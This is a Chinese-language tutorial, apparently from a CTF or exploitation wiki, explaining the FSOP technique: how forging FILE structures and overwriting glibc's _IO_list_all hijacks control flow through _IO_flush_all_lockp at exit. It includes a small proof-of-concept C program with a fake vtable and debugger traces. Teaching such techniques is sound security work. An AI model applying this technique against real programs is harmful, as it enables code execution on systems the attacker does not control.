FSOP
介绍
FSOP 是 File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。
进程中打开的所有文件结构体使用一个单链表来进行管理,即通过_IO_list_all
进行管理,在fopen
的分析中,我们知道了fopen是通过_IO_link_in
函数将新打开的结构体链接进入_IO_list_all
的,相关的代码如下:
1 2 3 4
| fp->file._flags |= _IO_LINKED; ... fp->file._chain = (_IO_FILE *) _IO_list_all; _IO_list_all = fp;
|
从代码中也可以看出来链表是通过FILE结构体的_chain
字段来进行链接的。
形成的链表如下图所示:
看到链表的操作,应该就大致猜到了FSOP的主要原理了。即通过伪造_IO_list_all
中的节点来实现对FILE链表的控制以实现利用目的。通常来说一般是直接利用任意写的漏洞修改_IO_list_all
直接指向可控的地址。
FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| int _IO_flush_all_lockp (int do_lock) { ... fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; } ... } }
|
通过对fwrite
分析,我们知道输出缓冲区的数据保存在fp->_IO_write_base
处,且长度为fp->_IO_write_ptr-fp->_IO_write_base
,因此上面的if
语句实质上是判断该FILE结构输出缓冲区是否还有数据,如果有的话则调用_IO_OVERFLOW
去刷新缓冲区。其中_IO_OVERFLOW
是vtable中的函数,因此如果我们可以控制_IO_list_all
链表中的一个节点的话,就有可能控制程序执行流。
可以看出来该函数的意义是为了保证数据不丢失,因此在程序执行退出相关代码时,会去调用函数去刷新缓冲区,确保数据被保存。根据_IO_flush_all_lockp
的功能,猜测这个函数应该是在程序退出的时候进行调用的,因为它刷新所有FILE的缓冲区。事实上,会_IO_flush_all_lockp
调用函数的时机包括:
- libc执行abort函数时。
- 程序执行exit函数时。
- 程序从main函数返回时。
再多做一点操作,去看下上述三种情况的堆栈,来进一步了解程序的流程。将断点下在_IO_flush_all_lockp
,查看栈结构。
首先是abort函数的流程,利用的double free漏洞触发,栈回溯为:
1 2 3 4 5 6 7 8
| _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) __GI_abort () __libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0x7ffff7ba0d58 "*** Error in `%s': %s: 0x%s ***\n") malloc_printerr (action=0x3, str=0x7ffff7ba0e90 "double free or corruption (top)", ptr=<optimized out>, ar_ptr=<optimized out>) _int_free (av=0x7ffff7dd4b20 <main_arena>, p=<optimized out>,have_lock=0x0) main () __libc_start_main (main=0x400566 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568) _start ()
|
exit函数,栈回溯为:
1 2 3 4 5 6 7
| _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) _IO_cleanup () __run_exit_handlers (status=0x0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1) __GI_exit (status=<optimized out>) main () __libc_start_main (main=0x400566 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568) _start ()
|
程序正常退出,栈回溯为:
1 2 3 4 5 6
| _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) _IO_cleanup () __run_exit_handlers (status=0x0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1) __GI_exit (status=<optimized out>) __libc_start_main (main=0x400526 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568) _start ()
|
看出来程序正常从main函数返回后,也是调用了exit
函数,所以最终才调用_IO_flush_all_lockp
函数的。
再说如何利用,利用的方式为:伪造IO FILE结构体,并利用漏洞将_IO_list_all
指向伪造的结构体,或是将该链表中的一个节点(_chain
字段)指向伪造的数据,最终触发_IO_flush_all_lockp
,绕过检查,调用_IO_OVERFLOW
时实现执行流劫持。
其中绕过检查的条件是输出缓冲区中存在数据:
1 2 3 4 5
| if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
|
示例
梳理一下 FSOP 利用的条件,首先需要攻击者获知 libc.so 基址,因为_IO_list_all 是作为全局变量储存在 libc.so 中的,不泄漏 libc 基址就不能改写_IO_list_all。
之后需要用任意地址写把_IO_list_all 的内容改为指向我们可控内存的指针,
之后的问题是在可控内存中布置什么数据,毫无疑问的是需要布置一个我们理想函数的 vtable 指针。但是为了能够让我们构造的 fake_FILE 能够正常工作,还需要布置一些其他数据。 这里的依据是我们前面给出的
1 2 3 4 5
| if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; }
|
也就是
- fp->_mode <= 0
- fp->_IO_write_ptr > fp->_IO_write_base
在这里通过一个示例来验证这一点,首先我们分配一块内存用于存放伪造的 vtable 和_IO_FILE_plus。 为了绕过验证,我们提前获得了_IO_write_ptr、_IO_write_base、_mode 等数据域的偏移,这样可以在伪造的 vtable 中构造相应的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #define _IO_list_all 0x7ffff7dd2520 #define mode_offset 0xc0 #define writeptr_offset 0x28 #define writebase_offset 0x20 #define vtable_offset 0xd8
int main(void) { void *ptr; long long *list_all_ptr;
ptr=malloc(0x200);
*(long long*)((long long)ptr+mode_offset)=0x0; *(long long*)((long long)ptr+writeptr_offset)=0x1; *(long long*)((long long)ptr+writebase_offset)=0x0; *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
*(long long*)((long long)ptr+0x100+24)=0x41414141;
list_all_ptr=(long long *)_IO_list_all;
list_all_ptr[0]=ptr;
exit(0); }
|
我们使用分配内存的前 0x100 个字节作为_IO_FILE,后 0x100 个字节作为 vtable,在 vtable 中使用 0x41414141 这个地址作为伪造的_IO_overflow 指针。
之后,覆盖位于 libc 中的全局变量 _IO_list_all,把它指向我们伪造的_IO_FILE_plus。
通过调用 exit 函数,程序会执行 _IO_flush_all_lockp,经过 fflush 获取_IO_list_all 的值并取出作为_IO_FILE_plus 调用其中的_IO_overflow
1 2 3 4 5 6
| ---> call _IO_overflow [#0] 0x7ffff7a89193 → Name: _IO_flush_all_lockp(do_lock=0x0) [#1] 0x7ffff7a8932a → Name: _IO_cleanup() [#2] 0x7ffff7a46f9b → Name: __run_exit_handlers(status=0x0, listp=<optimized out>, run_list_atexit=0x1) [#3] 0x7ffff7a47045 → Name: __GI_exit(status=<optimized out>) [#4] 0x4005ce → Name: main()
|